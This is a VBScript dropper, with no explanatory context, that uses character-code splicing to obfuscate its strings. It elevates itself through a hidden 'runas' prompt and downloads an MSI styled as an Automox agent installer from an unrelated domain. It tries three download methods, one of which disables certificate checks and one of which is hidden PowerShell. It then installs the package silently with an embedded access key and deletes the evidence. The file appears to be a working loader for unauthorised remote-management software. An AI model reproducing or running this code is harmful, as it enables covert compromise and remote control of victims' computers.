Set app_28c6d2   = CreateObject("Shell.Applicati"&Chr(111)&"n")
Set wsh_cf9f84 = CreateObject("WS"&Chr(99)&"ript.Sh"&Chr(101)&"ll")
Set fso_ace69b   = CreateObject("Scripting.FileSys"&Chr(116)&"emObject")
If Not WScript.Arguments.Named.Exists("Elevated") Then
    Dim bAdm : bAdm = False
    On Error Resume Next
    CreateObject("WS"&Chr(99)&"ri"&Chr(112)&"t.Sh"&Chr(101)&"ll").RegRead "HKEY_U"&Chr(83)&"ER"&Chr(83)&"\S-1"&Chr(45)&"5-19"&Chr(92)
    bAdm = (Err.Number = 0)
    Err.Clear : On Error GoTo 0
    If Not bAdm Then
        app_28c6d2.ShellExecute "ws"&Chr(99)&"r"&Chr(105)&"pt"&Chr(46)&"ex"&Chr(101), Chr(34) & WScript.ScriptFullName & Chr(34) & " /Elevated", "", "r"&Chr(117)&"na"&Chr(115), 0
        WScript.Quit
    End If
End If
On Error Resume Next
Dim url_fda4ec, msi_38371f, ok_534a08
url_fda4ec = "https://ecdp.ronaldegesa.com/Automox_Installer-2.5.70.msi"
msi_38371f = wsh_cf9f84.ExpandEnvironmentStrings("%TEMP%") & "\svc_" & Hex(CLng(Timer * 333) Mod 77777) & ".msi"
ok_534a08  = False
ok_534a08 = Retrieve_99f70d(url_fda4ec, msi_38371f)
If ok_534a08 Then Call Execute_d46439(msi_38371f)
If fso_ace69b.FileExists(msi_38371f) Then fso_ace69b.DeleteFile msi_38371f
Function Retrieve_99f70d(url, dest)
    Retrieve_99f70d = False
    On Error Resume Next
    Err.Clear
    Dim h : Set h = CreateObject("Win"&Chr(72)&"tt"&Chr(112)&"."&Chr(87)&"inHtt"&Chr(112)&"Re"&Chr(113)&"uest."&Chr(53)&".1")
    h.Open "GET", url, False
    h.SetRequestHeader "U"&Chr(115)&"e"&Chr(114)&"-Ag"&Chr(101)&"nt", "Mozill"&Chr(97)&"/4.0 (c"&Chr(111)&"mpatib"&Chr(108)&"e; M"&Chr(83)&"IE 7"&Chr(46)&"0; "&Chr(87)&"in"&Chr(100)&"ows"&Chr(32)&"NT"&Chr(32)&"6.0)"
    h.setOption 4, 13056
    h.Send
    If Err.Number = 0 Then
        If h.Status = 200 Then
            Dim s : Set s = CreateObject("A"&Chr(68)&"O"&Chr(68)&"B."&Chr(83)&"trea"&Chr(109))
            s.Type = 1 : s.Open : s.Write h.ResponseBody : s.SaveToFile dest, 2 : s.Close
            If fso_ace69b.FileExists(dest) Then
                If fso_ace69b.GetFile(dest).Size > 0 Then Retrieve_99f70d = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    Dim x : Set x = CreateObject("Msxm"&Chr(108)&"2.Server"&Chr(88)&"MLHT"&Chr(84)&"P.6"&Chr(46)&"0")
    x.open "GET", url, False
    x.setOption 2, 13056
    x.setRequestHeader "A"&Chr(99)&"c"&Chr(101)&"pt", "*/*"
    x.send
    If Err.Number = 0 Then
        If x.status = 200 Then
            Dim s2 : Set s2 = CreateObject("A"&Chr(68)&"ODB"&Chr(46)&"Str"&Chr(101)&"am")
            s2.Type = 1 : s2.Open : s2.Write x.responseBody : s2.SaveToFile dest, 2 : s2.Close
            If fso_ace69b.FileExists(dest) Then
                If fso_ace69b.GetFile(dest).Size > 0 Then Retrieve_99f70d = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    wsh_cf9f84.Run "powershell -WindowStyle Hidden -NoProfile -Command ""(New-Object Net.WebClient).DownloadFile('" & url & "','" & dest & "')""", 0, True
    If Err.Number = 0 Then
        If fso_ace69b.FileExists(dest) Then
            If fso_ace69b.GetFile(dest).Size > 0 Then Retrieve_99f70d = True
        End If
    End If
    Err.Clear
End Function
Sub Execute_d46439(path)
    On Error Resume Next
    wsh_cf9f84.Run "msiexec.exe /i """ & path & """ /qn /norestart ACCESSKEY=" & Chr(34) & "c9af8abb-3be8-432d-b651-6da4df3e35a6" & Chr(34), 0, True
End Sub